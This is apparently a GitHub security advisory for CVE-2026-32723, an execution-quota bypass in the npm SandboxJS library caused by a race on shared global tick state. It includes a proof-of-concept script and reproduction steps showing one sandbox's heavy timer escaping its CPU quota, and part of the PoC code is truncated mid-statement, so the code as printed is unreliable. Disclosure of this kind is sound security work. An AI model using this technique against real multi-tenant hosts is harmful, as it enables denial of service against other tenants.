GitHub Advisoryadvisory · npm
GHSA-7p5m-xrh7-769r SandboxJS has an execution-quota bypass (cross-sandbox currentTicks race) in SandboxJS timers
MEDIUM
Official page ↗
- Aliases
- CVE-2026-32723
- Ecosystem
- npm
- Packages
- @nyariv/sandboxjs
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
- Weaknesses
- CWE-362
- Reviewed
- 2026-03-16
Affected packages
• npm @nyariv/sandboxjs: < 0.8.35 → fixed in 0.8.35
Description
Summary
Assumed repo path is `/Users/zwique/Downloads/SandboxJS-0.8.34` (no `/Users/zwique/Downloads/SandboxJS` found). A global tick state (`currentTicks.current`) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite `currentTicks.current` between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog.
Impact: execution quota bypass → CPU/resource abuse
---
Details
• Affected project: SandboxJS (owner: nyariv)
• Assumed checked-out version: `SandboxJS-0.8.34` at `/Users/zwique/Downloads/SandboxJS-0.8.34`
Vulnerable code paths
• `/src/eval.ts` — `sandboxFunction` binds `ticks` using `ticks || currentTicks.current`:
```
createFunction(..., ticks || currentTicks.current, { ...context, ... })
```
Relevant lines: 44, 53, 164, 167.
• `/src/evaluator.ts` / `/src/executor.ts` — global ticks:
```
export const currentTicks = { current: { ticks: BigInt(0) } as Ticks };
```
and
```
_execNoneRecurse(...) { currentTicks.current = ticks; ... }
```
Relevant lines: ~1700, 1712.
• `sandboxedSetTimeout` compiles string handlers at execution time, not at scheduling time, which lets `currentTicks.current` be the wrong sandbox's ticks when compilation occurs.
---
Why This Is Vulnerable
• `currentTicks.current` is global mutable state shared across all sandbox instances.
• Timer string handlers are compiled at the moment the timer fires and read `currentTicks.current` at that time. If another sandbox runs between scheduling and execution, it can replace `currentTicks.current`. The scheduled timer's code will be compiled/executed with the other sandbox's tick budget. This allows the original sandbox's execution quota to be bypassed.
---
Proof of Concept
> Run with Node.js; adjust path if needed.
```js
// PoC (run with node); adjust path if needed
import Sandbox from '/Users/zwique/Downloads/SandboxJS-0.8.34/node_modules/@nyariv/sandboxjs/build/Sandbox.js';
const globals = { ...Sandbox.SAFE_GLOBALS, setTimeout, clearTimeout };
const prototypeWhitelist = Sandbox.SAFE_PROTOTYPES;
const sandboxA = new Sandbox({
globals,
prototypeWhitelist,
executionQuota: 50n,
haltOnSandboxError: true,
});
let haltedA = false;
sandboxA.subscribeHalt(() => { haltedA = true; });
const sandboxB = new Sandbox({ globals, prototypeWhitelist });
// Sandbox A schedules a heavy string handler
sandboxA.compile(
'setTimeout("let x=0; for (let i=0;i {
console.log({ haltedA, doneA: sandboxA.context.sandboxGlobal.doneA });
}, 50);
```
Reproduction Steps
1. Place the PoC in `hi.js` and run:
```
node /Users/zwique/Downloads/SandboxJS-0.8.34/hi.js
```
2. Observe output similar to:
```
{ haltedA: false, doneA: true }
```
This indicates the heavy loop completed and the quota was bypassed.
3. Remove the `sandboxB.compile('1+1')().run();` line and rerun. Output should now be:
```
{ haltedA: true }
```
This indicates quota enforcement is working correctly.
---
Impact
• Type: Runtime guard bypass (execution-quota / watchdog bypass)
• Who is impacted: Applications that run multiple SandboxJS instances concurrently in the same process — multi-tenant interpreters, plugin engines, server-side scripting hosts, online code runners.
• Practical impact: Attackers controlling sandboxed code can bypass configured execution quotas/watchdog and perform CPU-intensive loops or long-running computation, enabling resource exhaustion/DoS or denial of service against the host process or other tenants.
• Does not (as tested) lead to: Host object exposure or direct sandbox escape (no `process` / `require` leakage observed from this primitive alone). Escalation to RCE was attempted and not observed.
Related
Alias · CVE (1)
- CVE-2026-32723 SandboxJS is a JavaScript sandboxing library. vulnerability
Weakness · CWE (1)
- CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization weakness